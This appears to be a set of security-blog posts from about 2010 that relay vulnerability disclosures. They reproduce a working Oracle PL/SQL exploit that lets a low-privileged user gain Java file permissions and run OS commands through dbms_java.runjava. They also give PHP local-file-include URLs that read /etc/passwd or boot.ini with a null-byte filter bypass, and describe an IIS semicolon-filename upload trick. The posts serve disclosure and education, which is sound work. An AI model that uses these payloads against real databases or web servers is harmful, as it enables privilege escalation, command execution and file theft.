David Litchfield’s slides from Blackhat DC 2010 are now online. Here is the 0day from his slides, which work even on 11g R2:
Eseentially, because of a flaw in DBMS_JVM_EXP_PERMS package, any user with just create session privileges can grant himself all java privileges.
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,'java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,'ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
Once the Java permissions are available, an end user can simple create a procedure and execute OS command from this procedure (http://milw0rm.com/exploits/2837).
However, if the create/execute procedure permissions are not available, David has another way to still execute OS code:
select dbms_java.runjava(’oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst’)from dual;
Here is the link of the talk video:
https://media.blackhat.com/bh-dc-10/video/Litchfield_David/BlackHat-DC-2010-Litchfield-DefeatSSL-video.mov
So, lets look at a piece of code:
<?php include(’inc/’.$_GET['page'].’php’); ?>
Normally, you would use the null byte (%00) to exploit it:
vuln.php?page=../../../../../etc/passwd%00
but if magic_quote_gpc is enabled than the null byte(%00) will get converted to /0, implying that the attack will fail.
How to bypass this: it you add a large number of dots (…..) than the null byte will not get escaped null byte is not required. e.g.
vuln.php?page=../../../../../etc/passwd%00……………………………………………………………………..(200 dots in this case)
vuln.php?page=../../../../../etc/passwd……………………………………………………………………..(200 dots in this case)
Correction: You don’t need null byte here.
Update: As pointed out by Bodgan, this only works for windows. So replace /etc/passwd with /../../boot.ini. I will provide a POC link
tested on php version: 5.2.12 (wamp environment)
References: http://www.xakep.ru/post/50862/novaya_veha_v_teorii_include.rar
So, recently i encountered an application which was really secure against XSS.
image link
How many issues can one parameter suffer from:
1. Open redirection
2. Session ID in the URL
3. Session Hijacking by combining 1 and 2
Oh but, really safe against XSS! 
I have finally decided to give twitter a go.
Follow me at:
https://twitter.com/notsosecure
Ferruh passed this onto me and this looks like a really interesting vulnerability. Essentially if you can upload a file with semicolon(;) in it, you may be able to upload and execute asp code.
IIS can execute any extension as an Active Server Page or any other executable extension. For instance “malicious.asp;.jpg” is executed as an ASP file on the server. Many file uploaders protect the system by checking only the last section of the filename as its extension. And by using this vulnerability, an attacker can bypass this protection and upload a dangerous executable file on the server.
Original Advisory can be found here
